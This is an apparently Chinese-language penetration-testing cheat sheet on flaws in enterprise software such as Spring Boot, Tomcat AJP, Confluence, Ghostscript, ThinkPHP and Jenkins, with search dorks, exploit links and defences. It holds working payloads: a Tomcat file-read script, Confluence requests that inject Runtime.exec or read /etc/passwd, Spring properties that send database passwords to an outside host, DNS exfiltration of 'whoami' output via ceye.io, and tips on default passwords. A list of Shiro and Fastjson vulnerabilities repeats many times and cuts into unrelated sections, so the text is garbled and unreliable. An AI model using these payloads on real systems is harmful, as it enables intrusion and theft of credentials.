winmail过滤不严getshell+任意文件下载(需要登录邮箱）_黑客技术

http://www.hackdig.com/06/hack-36899.htm (http://www.hackdig.com/06/hack-36899.htm)

Winmail普通用户可直接进入后台取得域名管理、用户管理等所有权限 | WooYun-2014-57890 | WooYun.org

https://php.mengsec.com/bugs/wooyun-2014-057890.html (https://php.mengsec.com/bugs/wooyun-2014-057890.html)

7. 利用技巧

1.这个邮箱很多高校在用, 通过分析补丁, 一些老版本没升级的话还是有问题, 最新版是6.5

2.邮件系列老洞

高屋建瓴之WebMail攻与防 – cyjay5un – 博客园
https://www.cnblogs.com/cyjaysun/p/4378907.html (https://www.cnblogs.com/cyjaysun/p/4378907.html)

第一节

Apache Shiro RememberMe 反序列化导致的命令执行漏洞 (Shiro-550, CVE-2016-4437)

Apache Shiro Padding Oracle Attack (Shiro-721)

Apache Shiro 权限绕过漏洞 (Shiro-682)

Fastjson 反序列化远程代码执行漏洞

Jackson 反序列化远程代码执行漏洞

Xstream 反序列化漏洞

泛微OA Bsh 远程代码执行漏洞

泛微OA e-cology SQL注入漏洞

泛微OA 数据库泄露漏洞

8. 防护方法

1.及时更新补丁

2.升级到最新版

Zabbix 相关漏洞

1. 漏洞简介

Zabbix 由于监控着内网众多主机, 所以也是内网关注的重点, 主要是注入/弱口令/命令执行

2. 影响组件

Zabbix

3. 漏洞指纹

Zabbix

4. Fofa Dork

app="Zabbix"

5. 漏洞分析

记一次zabbix安装及漏洞利用getshell全过程 – 先知社区
https://xz.aliyun.com/t/6874 (https://xz.aliyun.com/t/6874)

Zabbix 最新 SQL 注入漏洞及 EXP – Jamin Zhang
https://jaminzhang.github.io/security/Zabbix-latest-SQL-Injection-Vulnerability-and-EXP/ (https://jaminzhang.github.io/security/Zabbix-latest-SQL-Injection-Vulnerability-and-EXP/)

6. 漏洞利用

记一次zabbix安装及漏洞利用getshell全过程 – 先知社区
https://xz.aliyun.com/t/6874 (https://xz.aliyun.com/t/6874)

Zabbix 最新 SQL 注入漏洞及 EXP – Jamin Zhang
https://jaminzhang.github.io/security/Zabbix-latest-SQL-Injection-Vulnerability-and-EXP/ (https://jaminzhang.github.io/security/Zabbix-latest-SQL-Injection-Vulnerability-and-EXP/)

7. 利用技巧

1.这里如果 Zabbix 附近遇到 Grafana, 一般都是默认口令 admin/admin, 进后台查看数据源的位置, 如果有 Zabbix , 直接 f12 查看密码, 就可以登录 Zabbix 了

2.另外 Grafana 后台sql查询处可以执行任意 sql, 其他数据源也一样见机行事

8. 防护方法

1.设置强口令

2.尽量不要开放到公网

3.限制来源IP

4.升级到最新版

边界产品(防火墙, 网关, 路由器, VPN) 相关漏洞

1. 漏洞简介

大型企业往往会配置一些边界设备来维护企业内外网通信, 这里也存在灯下黑的问题, 由于多数不开源, 漏洞主要以弱口令为主

2. 影响组件

防火墙, 网关, 路由器, VPN

3. 漏洞指纹

防火墙, 网关, 路由器, VPN

4. Fofa Dork

防火墙, 网关, 路由器, VPN 的名称

5. 漏洞分析

【安全设备】常见网络安全设备默认口令|IT2021.Com

https://www.it2021.com/security/614.html (https://www.it2021.com/security/614.html)

渗透测试之各厂商防火墙登录IP、初始密码、技术支持

https://mp.weixin.qq.com/s/OLf7QDl6qcsy2FOqCQ2icA (https://mp.weixin.qq.com/s/OLf7QDl6qcsy2FOqCQ2icA)

6. 漏洞利用

【安全设备】常见网络安全设备默认口令|IT2021.Com

https://www.it2021.com/security/614.html (https://www.it2021.com/security/614.html)

渗透测试之各厂商防火墙登录IP、初始密码、技术支持

https://mp.weixin.qq.com/s/OLf7QDl6qcsy2FOqCQ2icA (https://mp.weixin.qq.com/s/OLf7QDl6qcsy2FOqCQ2icA)

7. 利用技巧

1.这个东西好多人不改默认口令, 就算改很多也是企业特色弱口令

admin root 123456 永远的神

内网的安全平台就是个漏洞指南

8. 防护方法

1.设置强口令

2.限制来源IP

第三节

> 本节主要是针对一些常见组件和中间件的相关漏洞(大部分是要结合环境利用), 这里肯定篇幅有限, 难免有所遗漏, 欢迎补充

Thinkphp 相关漏洞

1. 漏洞简介

Thinkphp 是国内很常见的PHP框架, 存在 远程代码执行/sql注入/反序列化/日志文件泄露等问题

2. 影响组件

Thinkphp

3. 漏洞指纹

Thinkphp

X-Powered-By: ThinkPHP

4. Fofa Dork

app="ThinkPHP"

5. 漏洞分析

ThinkPHP漏洞总结 – 赛克社区

http://zone.secevery.com/article/1165 (http://zone.secevery.com/article/1165)

Apache Shiro RememberMe 反序列化导致的命令执行漏洞 (Shiro-550, CVE-2016-4437)

Apache Shiro Padding Oracle Attack (Shiro-721)

Apache Shiro 权限绕过漏洞 (Shiro-682)

Fastjson 反序列化远程代码执行漏洞

Jackson 反序列化远程代码执行漏洞

Xstream 反序列化漏洞

泛微OA Bsh 远程代码执行漏洞

泛微OA e-cology SQL注入漏洞

泛微OA 数据库泄露漏洞

挖掘暗藏ThinkPHP中的反序列利用链 – 斗象能力中心

https://blog.riskivy.com/%E6%8C%96%E6%8E%98%E6%9A%97%E8%97%8Fthinkphp%E4%B8%AD%E7%9A%84%E5%8F%8D%E5%BA%8F%E5%88%97%E5%88%A9%E7%94%A8%E9%93%BE/ (https://blog.riskivy.com/%E6%8C%96%E6%8E%98%E6%9A%97%E8%97%8Fthinkphp%E4%B8%AD%E7%9A%84%E5%8F%8D%E5%BA%8F%E5%88%97%E5%88%A9%E7%94%A8%E9%93%BE/)

ThinkPHP使用不当可能造成敏感信息泄露*PHP_Fly*鹏程万里-CSDN博客

https://blog.csdn.net/Fly_hps/article/details/81201904 (https://blog.csdn.net/Fly_hps/article/details/81201904)

DSMall代码审计 – 安全客，安全资讯平台

https://www.anquanke.com/post/id/203461 (https://www.anquanke.com/post/id/203461)

6. 漏洞利用

SkyBlueEternal/thinkphp-RCE-POC-Collection: thinkphp v5.x 远程代码执行漏洞-POC集合

https://github.com/SkyBlueEternal/thinkphp-RCE-POC-Collection (https://github.com/SkyBlueEternal/thinkphp-RCE-POC-Collection)

Dido1960/thinkphp: thinkphp反序列化漏洞复现及POC编写

https://github.com/Dido1960/thinkphp (https://github.com/Dido1960/thinkphp)

whirlwind110/tphack: Thinkphp3/5 Log文件泄漏利用工具

https://github.com/whirlwind110/tphack (https://github.com/whirlwind110/tphack)

7. 利用技巧

1.遇到Thinkphp的站点看一下版本, 或者直接扫一下, 看看有没有rce, 或者日志文件泄露

2.自从我挖了thinphp的反序列化利用链以后, 这类型考题经常出没在ctf中

3.实战中也看到偶尔有可以利用的情况, 运气好可能有惊喜, 刚好有篇新出的文章中使用到了这个漏洞

DSMall代码审计 – 安全客，安全资讯平台

https://www.anquanke.com/post/id/203461 (https://www.anquanke.com/post/id/203461)

8. 防护方法

1.及时更新补丁

2.升级到最新版Thinkphp

3.前置WAF进行防护

Spring 系列漏洞

1. 漏洞简介

Spring 是java web里最最最最常见的组件了, 自然也是研究的热门, 好用的漏洞主要是Spring Boot Actuators 反序列化, 火起来之前用了一两年, 效果很棒

2. 影响组件

Spring xxx

3. 漏洞指纹

X-Application-Context:

4. Fofa Dork

app="Spring-Framework"

5. 漏洞分析

Spring 框架漏洞集合 ~ Misaki's Blog

https://misakikata.github.io/2020/04/Spring-%E6%A1%86%E6%9E%B6%E6%BC%8F%E6%B4%9E%E9%9B%86%E5%90%88/ (https://misakikata.github.io/2020/04/Spring-%E6%A1%86%E6%9E%B6%E6%BC%8F%E6%B4%9E%E9%9B%86%E5%90%88/)

Exploiting Spring Boot Actuators | Veracode blog

https://www.veracode.com/blog/research/exploiting-spring-boot-actuators (https://www.veracode.com/blog/research/exploiting-spring-boot-actuators)

Spring Boot Actuators配置不当导致RCE漏洞复现 – JF ' blog

https://jianfensec.com/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/Spring%20Boot%20Actuators%E9%85%8D%E7%BD%AE%E4%B8%8D%E5%BD%93%E5%AF%BC%E8%87%B4RCE%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/ (https://jianfensec.com/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/Spring%20Boot%20Actuators%E9%85%8D%E7%BD%AE%E4%B8%8D%E5%BD%93%E5%AF%BC%E8%87%B4RCE%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/)

第一节

Apache Shiro RememberMe 反序列化导致的命令执行漏洞 (Shiro-550, CVE-2016-4437)

Apache Shiro Padding Oracle Attack (Shiro-721)

Apache Shiro 权限绕过漏洞 (Shiro-682)

Fastjson 反序列化远程代码执行漏洞

Jackson 反序列化远程代码执行漏洞

XStream 反序列化漏洞

泛微OA Bsh 远程代码执行漏洞

SnakeYAML deserialization

泛微OA数据库地址泄露漏洞

6. 漏洞利用

mpgn/Spring-Boot-Actuator-Exploit: Spring Boot Actuator (jolokia) XXE/RCE

https://github.com/mpgn/Spring-Boot-Actuator-Exploit (https://github.com/mpgn/Spring-Boot-Actuator-Exploit)

artsploit/yaml-payload: A tiny project for generating SnakeYAML deserialization payloads

https://github.com/artsploit/yaml-payload (https://github.com/artsploit/yaml-payload)

7. 利用技巧

1.Spring Boot Actuators 相关漏洞超级好用

很多厂商一开始都不懂, 直接对外开放**Spring Boot Actuators**, 造成了有一段时间每个用了**Spring Boot**的厂商都出了问题

尤其是现在很多厂商使用微服务框架, 通过网关进行路由分发, 一些子目录通常对应一个**Spring Boot**启动的服务

然后子目录比如 **http://123.123.123.123/admin/env** , **http://123.123.123.123/manager/env**也都是可以出现的

/env 可以偷session, RCE

/heapdump 可以直接dump jvm中的对象, 使用 jhat 可以读取里面的对象

可以遍历如下的endpoint, 1.x 2.x的目录不一样, 所以都覆盖了一下

```
/trace
/health
/loggers
/metrics
/autoconfig
/heapdump
/threaddump
/env
/info
/dump
/configprops
/mappings
/auditevents
/beans
/jolokia
/cloudfoundryapplication
/hystrix.stream
/actuator
/actuator/auditevents
/actuator/beans
/actuator/health
/actuator/conditions
/actuator/configprops
/actuator/env
/actuator/info
/actuator/loggers
/actuator/heapdump
/actuator/threaddump
/actuator/metrics
/actuator/scheduledtasks
/actuator/httptrace
/actuator/mappings
/actuator/jolokia
/actuator/hystrix.stream
/monitor
/monitor/auditevents
/monitor/beans
/monitor/health
/monitor/conditions
/monitor/configprops
/monitor/env
/monitor/info
/monitor/loggers
/monitor/heapdump
/monitor/threaddump
/monitor/metrics
/monitor/scheduledtasks
/monitor/httptrace
/monitor/mappings
/monitor/jolokia
/monitor/hystrix.stream
```

第一节

Apache Shiro RememberMe 反序列化导致的命令执行漏洞 (Shiro-550, CVE-2016-4437)

Apache Shiro Padding Oracle Attack (Shiro-721)

Apache Shiro 权限绕过漏洞 (Shiro-682)

Fastjson 反序列化远程代码执行漏洞

Jackson 反序列化远程代码执行漏洞

Xstream 反序列化漏洞

泛微OA Bsh 远程代码执行漏洞

泛微OA e-cology SQL注入漏洞

泛微OA 数据库泄露漏洞

这里通过 **/env** + **/refresh** 进行rce应该还有其他利用手法, 当spring boot reload的时候会进行一些默认操作

里面就有操作空间, 很像fastjson反序列化

2.就算实在不能RCE, 这里也有个技巧可以偷取 Spring 配置文件中的加密字段, 偷一下生产环境的密码/key也ok

springboot Information Disclosure

https://gist.github.com/UUUUnotfound/fed628b074859997d6970717ddd7fbf3 (https://gist.github.com/UUUUnotfound/fed628b074859997d6970717ddd7fbf3)

eureka.client.serviceUrl.defaultZone=http://${somedb.password}@127.0.0.1:5000

spring.cloud.bootstrap.location=http://${somedb.password}@artsploit.com/yaml-payload.yml

3.尤其是使用spring eureka做集群的时候, 通常拿到一台服务器, 就可以传递恶意注册到其他server, 从而感染整个微服务集群

eureka 通常是 server 也是 client, 无论对方请求什么都直接返回恶意序列化xml就可以了

8. 防护方法

1.及时更新补丁

2.开启Spring Boot Actuators权限校验

3.前置WAF进行防护

第一节

Apache Shiro RememberMe 反序列化导致的命令执行漏洞 (Shiro-550, CVE-2016-4437)

Apache Shiro Padding Oracle Attack (Shiro-721)

Apache Shiro 权限绕过漏洞 (Shiro-682)

Fastjson 反序列化远程代码执行漏洞

Jackson 反序列化远程代码执行漏洞

Xstream 反序列化漏洞

泛微OA Bsh 远程代码执行漏洞

泛微OA e-cology SQL注入漏洞

泛微OA 数据库泄露漏洞

Phpstudy 后门远程代码执行

1. 漏洞简介

Phpstudy 是一个国产的php快速集成环境, 主要用于学习测试, 但是也有很多人直接拿来部署服务器

2. 影响组件

Phpstudy

3. 漏洞指纹

phpStudy 探针

4. Fofa Dork

app="phpStudy 探针"

5. 漏洞分析

PhpStudy 后门分析

https://paper.seebug.org/1044/ (https://paper.seebug.org/1044/)

6. 漏洞利用

NS-Sp4ce/PHPStudy_BackDoor_Exp: PHPStudy_BackDoor_EXP PHPstudy后门利用脚本

https://github.com/NS-Sp4ce/PHPStudy_BackDoor_Exp (https://github.com/NS-Sp4ce/PHPStudy_BackDoor_Exp)

7. 利用技巧

1.phpstudy 根目录下面有个I.php , 里面有探针, 可以作为判断条件

2.还有个/phpmyadmin目录, 一般密码都是root/root 后台mysql outfile 写 shell 就ok了

8. 防护方法

1.及时删除phpstudy

2.升级到最新版

3.不要用phpstduy搭建生产环境

Struts 系列漏洞

1. 漏洞简介

Struts 真的是Java漏洞史上浓墨重彩的一笔, 堪称那些年的漏洞之王, 一直到现在还没有消失, 企业内网还是有不少存在

2. 影响组件

Struts

3. 漏洞指纹

Struts

.action

.do

.action!xxxx

struts2_check/struts2_hunt_v2.py at master · coffeehb/struts2_check

https://github.com/coffeehb/struts2_check/ (https://github.com/coffeehb/struts2_check/)

4. Fofa Dork

app="Struts2" (这个不太准)

5. 漏洞分析

Struts2代码执行漏洞整理 - 简书

https://www.jianshu.com/p/d7cd8a2a992b (https://www.jianshu.com/p/d7cd8a2a992b)

6. 漏洞利用

struts-scan/struts-scan.py at master · Lucifer1993/struts-scan

https://github.com/Lucifer1993/struts-scan/ (https://github.com/Lucifer1993/struts-scan/)

7. 利用技巧

1.Struts 的漏洞(比如016, 032)经常可以用于ssrf打内网, 说不好就有惊喜

8. 防护方法

1.升级到最新版

2.不建议使用Struts

第一节

Apache Shiro RememberMe 反序列化导致的命令执行漏洞 (Shiro-550, CVE-2016-4437)

Apache Shiro Padding Oracle Attack (Shiro-721)

Apache Shiro 权限绕过漏洞 (Shiro-682)

Fastjson 反序列化远程代码执行漏洞

Jackson 反序列化远程代码执行漏洞

Xstream 反序列化漏洞

泛微OA Bsh 远程代码执行漏洞

泛微OA xxxxxxxxx SQL 注入漏洞

泛微OA 数据库泄露漏洞

Solr 系列漏洞

1. 漏洞简介

Solr 是企业常见的全文搜索服务, 这两年也爆出很多安全漏洞,

2. 影响组件

Solr

3. 漏洞指纹

Solr

4. Fofa Dork

app="Solr"

5. 漏洞分析

Apache Solr最新RCE漏洞分析 – FreeBuf互联网安全新媒体平台

https://www.freebuf.com/vuls/218730.html (https://www.freebuf.com/vuls/218730.html)

Apache Solr DataImportHandler 远程代码执行漏洞(CVE-2019-0193) 分析

https://paper.seebug.org/1009/ (https://paper.seebug.org/1009/)

6. 漏洞利用

veracode-research/solr-injection: Apache Solr Injection Research

https://github.com/veracode-research/solr-injection (https://github.com/veracode-research/solr-injection)

jas502n/CVE-2019-12409: Apache Solr RCE (ENABLE_REMOTE_JMX_OPTS="true")

https://github.com/jas502n/CVE-2019-12409 (https://github.com/jas502n/CVE-2019-12409)

mogwailabs/mjet: MOGWAI LABS JMX exploitation toolkit

https://github.com/mogwailabs/mjet (https://github.com/mogwailabs/mjet)

7. 利用技巧

1.看到锤就完事了, 漏洞太多了, 一片一片的

2.遇到**mjet**连接超时, 这是目标服务起返回了错误的stub(内网地址, 常见于docker), 可以使用**socat**进行流量转发, 后记里面有具体操作

8. 防护方法

1.升级到最新版

2.不要对外开放敏感端口

Tomcat 本地文件包含漏洞 (CVE-2020-1938)

第一节

Apache Shiro RememberMe 反序列化导致的命令执行漏洞 (Shiro-550, CVE-2016-4437)

Apache Shiro Padding Oracle Attack (Shiro-721)

Apache Shiro 权限绕过漏洞 (Shiro-682)

Fastjson 反序列化远程代码执行漏洞

Jackson 反序列化远程代码执行漏洞

Xstream 反序列化漏洞

泛微OA Bsh 远程代码执行漏洞

泛微OA e-cology SQL注入漏洞

泛微OA 数据库泄露漏洞

1. 漏洞简介

Tomcat 是常见的Web 容器, 用户量非常巨大, Tomcat 8009 ajp 端口一直是默认开放的, 这个漏洞存在很多年了, 这次应该有奇效

2. 影响组件

Apache Tomcat 6

Apache Tomcat 7 < 7.0.100

Apache Tomcat 8 < 8.5.51

Apache Tomcat 9 < 9.0.31

3. 漏洞指纹

tomcat

8009

ajp

\x04\x01\xf4\x00\x15

4. Fofa Dork

protocol="ajp"

5. 漏洞分析

Apache Tomcat AJP协议文件包含漏洞分析 – 斗象能力中心
https://blog.riskivy.com/apache-tomcat-ajp%e5%8d%8f%e8%ae%ae%e6%96%87%e4%bb%b6%e5%8c%85%e5%90%ab%e6%bc%8f%e6%b4%9e%e5%88%86%e6%9e%90/ (https://blog.riskivy.com/apache-tomcat-ajp%e5%8d%8f%e8%ae%ae%e6%96%87%e4%bb%b6%e5%8c%85%e5%90%ab%e6%bc%8f%e6%b4%9e%e5%88%86%e6%9e%90/)

6. 漏洞利用

0nise/CVE-2020-1938: CVE-2020-1938
https://github.com/0nise/CVE-2020-1938 (https://github.com/0nise/CVE-2020-1938)

7. 利用技巧

1.当时还没公开poc的时候就分析出来exp挺有意思的, 效果确实还可以, 当天fofa都被累挂了

主要代码也就这

```
t = Tomcat("127.0.0.1", 8009)
_, data = t.perform_request('/', attributes=[
    {'name': 'req_attribute', 'value': ['javax.servlet.include.request_uri', '/']},
    {'name': 'req_attribute', 'value': ['javax.servlet.include.path_info', "/WEB-INF/web.xml"]},
    {'name': 'req_attribute', 'value': ['javax.servlet.include.servlet_path', '/']},
])
print('----------------------------')
print("".join([bytes.decode(d.data) for d in data]))
```

2.通过修改这里的路径可以进行Webapp切换, 默认是ROOT/, 需要切换应用就改成 /admin/ 之类的

3.通常检测的时候, 尽量保持t.perform_request('/' , 有的poc喜欢用 /addsd 这种的不存在的路径, 有些情况会读不到文件

8. 防护方法

1.升级到最新版

2.屏蔽8009端口对外开放

PHP-FPM 远程代码执行漏洞

1. 漏洞简介

国外安全研究员 Andrew Danau在解决一道 CTF 题目时发现，向目标服务器 URL 发送 %0a 符号时，服务返回异常，疑似存在漏洞

2019年10月23日，github公开漏洞相关的详情以及exp，当nginx配置不当时，会导致php-fpm远程任意代码执行

第一节

Apache Shiro RememberMe 反序列化导致的命令执行漏洞 (Shiro-550, CVE-2016-4437)

Apache Shiro Padding Oracle Attack (Shiro-721)

Apache Shiro 权限绕过漏洞 (Shiro-682)

Fastjson 反序列化远程代码执行漏洞

Jackson 反序列化远程代码执行漏洞

Xstream 反序列化漏洞

泛微OA Bsh 远程代码执行漏洞

泛微OA e-cology SQL注入漏洞

泛微OA 数据库泄露漏洞

2. 影响组件

Nginx + FPM + PHP7

3. 漏洞指纹

Nginx

PHP

nextcloud

4. Fofa Dork

5. 漏洞分析

PHP-fpm 远程代码执行漏洞(CVE-2019-11043)分析

https://paper.seebug.org/1063/ (https://paper.seebug.org/1063/)

6. 漏洞利用

neex/phuip-fpizdam: Exploit for CVE-2019-11043

https://github.com/neex/phuip-fpizdam (https://github.com/neex/phuip-fpizdam)

jas502n/CVE-2019-11043: php-fpm+Nginx RCE

https://github.com/jas502n/CVE-2019-11043 (https://github.com/jas502n/CVE-2019-11043)

7. 利用技巧

1.这个漏洞检测没有特别稳定的方案，目前可以参考k8的检测方案，通过递增发送payload检测服务器502

k8gege/CVE-2019-11043: Ladon POC Moudle CVE-2019-11043 (PHP-FPM + Ngnix)

https://github.com/k8gege/CVE-2019-11043 (https://github.com/k8gege/CVE-2019-11043)

2.Nextcloud 这个应用的默认配置就存在漏洞

8. 防护方法

1.升级到最新版php

2.修改nginx配置

CVE-2019-3396 Confluence Wiki 远程代码执行

1. 漏洞简介

Confluence Wiki 是企业常用的 Wiki 平台，其媒体插件存在一处远程代码执行

2. 影响组件

Confluence

3. 漏洞指纹

Confluence

4. Fofa Dork

app="Confluence"

5. 漏洞分析

Confluence 未授权 RCE (CVE-2019-3396) 漏洞分析

https://paper.seebug.org/884/ (https://paper.seebug.org/884/)

Atlassian Confluence 远程代码执行漏洞分析 – 斗象能力中心

> Atlassian Confluence 远程代码执行漏洞分析 (https://blog.riskivy.com/atlassian-confluence-rce-cve-2019-3396/)

6. 漏洞利用

jas502n/CVE-2019-3396: Confluence 未授权 RCE (CVE-2019-3396) 漏洞
https://github.com/jas502n/CVE-2019-3396 (https://github.com/jas502n/CVE-2019-3396)

7. 利用技巧

1.本地写日志的方式getshell

这个漏洞挺有意思的，在国内没公开的时候，我们就监测到了，然后也写出了exp，奈何没几天就曝光了

这里的远程模板加载不支持http协议，主要是classloader的问题，不然应该更早挖出来，这里还有一种本地写日志的方式getshell

这是一个从来没有人关注的默认开放的8091端口，部分低版本支持file协议可以getshell，适用于不出网的情况，这个poc不是特别稳定，因为日志中有不可控的字符

velocity比php语法要相对严格一点，可能会报错，而且velocity渲染的时候，目标文件不能太大，但是极端情况可以试一下

```
GET /synchrony/heartbeat HTTP/1.1
Host: localhost:8091
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html, */*; q=0.01
Accept-Language: en-US, en;q=0.5
Referer: http://localhost:8091
Connection: close
x-forwarded-for: $i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec('gnome-calculator').waitFor()
```

```
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: localhost:8090
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html, */*; q=0.01
Accept-Language: en-US, en;q=0.5
Referer: http://localhost:8090/
Content-Type: application/json; charset=utf-8
X-Requested-With: XMLHttpRequest
Content-Length: 258
Connection: close

{"contentId":"65594", "macro":{"name":"widget", "body":"", "params":{"url":"http://www.dailymotion.com/video/xcpa64?_template=/etc/passwd", "width":"300", "height":"200", "_template":"file:/var/atlassian/application-data/confluence/logs/atlassian-synchrony.log"}}}
```

8. 防护方法

1.升级到最新版

2.尽量不要开放到公网

3.限制来源IP

Ghostscript 上传图片代码执行

1. 漏洞简介

Ghostscript 是图像处理中十分常用的库，集成在imagemagick等多个开源组件中，其 .ps文件存在沙箱绕过导致代码执行的问题影响广泛，由于上传图片就有可能代码执行，很多大厂中招

2. 影响组件

imagemagick, libmagick, graphicsmagick, gimp, python-matplotlib, texlive-core, texmacs, latex2html, latex2rtf 等图像处理应用

3. 漏洞指纹

.ps/.jpg/.png

4. Fofa Dork

5. 漏洞分析

ghostscript命令执行漏洞预警 – 安全客，安全资讯平台
https://www.anquanke.com/post/id/157513 (https://www.anquanke.com/post/id/157513)

6. 漏洞利用

Exploit Database Search

https://www.exploit-db.com/search?q=Ghostscript (https://www.exploit-db.com/search?q=Ghostscript)

vulhub/ghostscript/CVE-2019-6116 at master · vulhub/vulhub

https://github.com/vulhub/vulhub/tree/master/ghostscript/CVE-2019-6116 (https://github.com/vulhub/vulhub/tree/master/ghostscript/CVE-2019-6116)

7. 利用技巧

1.如果发现网站可以上传图片，且图片没有经过裁剪，最后返回缩略图，这里就可能存在Ghostscript 上传图片代码执行

dnslog 可以用 **ping `uname`.admin.ceye.io** 或 **ping `whoami`.admin.ceye.io**

保存成图片，以后用起来方便，有个版本的 centos 和 ubuntu poc还不一样，可以这样构造

ping `whoami`.centos.admin.ceye.io / **ping `whoami`.ubuntu.admin.ceye.io**

分别命名为 **centos_ps.jpg/ubuntu_ps.jpg**，这样测试的时候直接传2个文件，通过DNSLOG可以区分是哪个poc执行的

8. 防护方法

1.升级到最新版

第一节

Apache Shiro RememberMe 反序列化导致的命令执行漏洞 (Shiro-550, CVE-2016-4437)

Apache Shiro Padding Oracle Attack (Shiro-721)

Apache Shiro 权限绕过漏洞 (Shiro-682)

Ghostscript 沙箱绕过/远程代码执行漏洞

Jackson 反序列化远程代码执行漏洞

Xstream 反序列化漏洞

泛微OA Bsh 远程代码执行漏洞

泛微OA e-cology SQL注入漏洞

泛微OA 数据库泄露漏洞

Jboss 相关漏洞

1. 漏洞简介

JBoss是一个基于J2EE的开放源代码应用服务器，用户数量较大，一些版本受到反序列化等漏洞影响

2. 影响组件

Jboss

3. 漏洞指纹

Jboss

4. Fofa Dork

app="JBoss"

5. 漏洞分析

打开JBoss的潘多拉魔盒:JBoss高危漏洞分析 – FreeBuf互联网安全新媒体平台

https://www.freebuf.com/vuls/186948.html (https://www.freebuf.com/vuls/186948.html)

6. 漏洞利用

joaomatosf/jexboss: JexBoss: Jboss (and Java Deserialization Vulnerabilities) verify and EXploitation Tool

https://github.com/joaomatosf/jexboss (https://github.com/joaomatosf/jexboss)

Perun/vuln/jboss at master · WyAtu/Perun

https://github.com/WyAtu/Perun/tree/master/vuln/jboss (https://github.com/WyAtu/Perun/tree/master/vuln/jboss)

7. 利用技巧

1.Jboss的漏洞在内网还是相对比较常见的，试过几次**jexboss**，效果还ok

8. 防护方法

1.设置强口令

2.尽量不要开放到公网

3.限制来源IP

4.升级到最新版

Websphere 反序列化远程代码执行

第一节

Apache Shiro RememberMe 反序列化导致的命令执行漏洞 (Shiro-550, CVE-2016-4437)

Apache Shiro Padding Oracle Attack (Shiro-721)

Apache Shiro 权限绕过漏洞 (Shiro-682)

Fastjson 反序列化远程代码执行漏洞

Jackson 反序列化远程代码执行漏洞

Xstream 反序列化漏洞

泛微OA Bsh 远程代码执行漏洞

泛微OA e-cology SQL注入漏洞

泛微OA 数据库泄露漏洞

1. 漏洞简介

Websphere 也是常见的java服务器, CVE-2015-7450(由于Commons Collections反序列化引起的, 应该是反序列化第一次被公众关注), 去年暴露了一个CVE-2019-4279(),

近期暴露了一个新的远程代码执行(CVE-2020-4276, CVE-2020-4362)

2. 影响组件

WebSphere

3. 漏洞指纹

WebSphere

8880

4. Fofa Dork

app="IBM-WebSphere"

5. 漏洞分析

What Do WebLogic, WebSphere, JBoss, Jenkins, OpenNMS, and Your Application Have in Common? This Vulnerability.
https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#websphere (https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#websphere)

Websphere ND远程命令执行分析以及构造RpcServerDispatcher Payload(CVE-2019-4279) – 先知社区
https://xz.aliyun.com/t/6394 (https://xz.aliyun.com/t/6394)

6. 漏洞利用

java-deserialization-exploits/websphere_rce.py at master · Coalfire-Research/java-deserialization-exploits
https://github.com/Coalfire-Research/java-deserialization-exploits/blob/master/WebSphere/websphere_rce.py (https://github.com/Coalfire-Research/java-deserialization-exploits/blob/master/WebSphere/websphere_rce.py)

Websphere ND远程命令执行分析以及构造RpcServerDispatcher Payload(CVE-2019-4279) – 先知社区
https://xz.aliyun.com/t/6394 (https://xz.aliyun.com/t/6394)

7. 利用技巧

1.Java 类的 web 容器 getshell 方法都差不多, 弱口令进后台部署 war, 或者反序列化, 文件上传之类的

Tomcat、Weblogic、JBoss、GlassFish、Resin、Websphere弱口令及拿webshell方法总结 – 先知社区
https://xz.aliyun.com/t/309 (https://xz.aliyun.com/t/309)

8. 防护方法

1.设置强口令

2.尽量不要开放到公网

3.限制来源IP

4.升级到最新版

Jenkins 系列漏洞

1. 漏洞简介

Jenkins 是常见的CI/CD服务器, 最常见的就是爆破弱口令然后使用groovy执行命令

2. 影响组件

Jenkins

3. 漏洞指纹

Jenkins

4. Fofa Dork

app="Jenkins"

5. 漏洞分析

Jenkins RCE漏洞分析汇总

http://www.lmxspace.com/2019/09/15/Jenkins-RCE%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%B1%87%E6%80%BB/?utm_source=tuicool&utm_medium=referral#₩ㄆㅁㅋ (http://www.lmxspace.com/2019/09/15/Jenkins-RCE%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%B1%87%E6%80%BB/?utm_source=tuicool&utm_medium=referral#₩ㄆㅁㅋ)

Jenkins漏洞集合复现 ~ Misaki's Blog

https://misakikata.github.io/2020/03/Jenkins%E6%BC%8F%E6%B4%9E%E9%9B%86%E5%90%88%E5%A4%8D%E7%8E%B0/ (https://misakikata.github.io/2020/03/Jenkins%E6%BC%8F%E6%B4%9E%E9%9B%86%E5%90%88%E5%A4%8D%E7%8E%B0/)

6. 漏洞利用

Jenkins漏洞集合复现 ~ Misaki's Blog

https://misakikata.github.io/2020/03/Jenkins%E6%BC%8F%E6%B4%9E%E9%9B%86%E5%90%88%E5%A4%8D%E7%8E%B0/ (https://misakikata.github.io/2020/03/Jenkins%E6%BC%8F%E6%B4%9E%E9%9B%86%E5%90%88%E5%A4%8D%E7%8E%B0/)

blackye/Jenkins: Jenkins漏洞探测、用户抓取爆破

https://github.com/blackye/Jenkins (https://github.com/blackye/Jenkins)

gquere/pwn_jenkins: Notes about attacking Jenkins servers

https://github.com/gquere/pwn_jenkins (https://github.com/gquere/pwn_jenkins)

7. 利用技巧

1.Jenkins 也是收集内网信息的好地方, 获取的账号通常也是开发/运维级别的, 权限相对较大

8. 防护方法

1.设置强口令

2.尽量不要开放到公网

3.限制来源IP

4.升级到最新版

RMI 对外开放

1. 漏洞简介

Java RMI, 即 远程方法调用(Remote Method Invocation), 一种用于实现远程过程调用(RPC)(Remote procedure call)的Java API, 能直接传输序列化后的Java对象和分布式垃圾收集

通常开放在1090 1099等端口, 由于直接传输java对象, 随意存在远程代码执行.

2. 影响组件

java*

3. 漏洞指纹

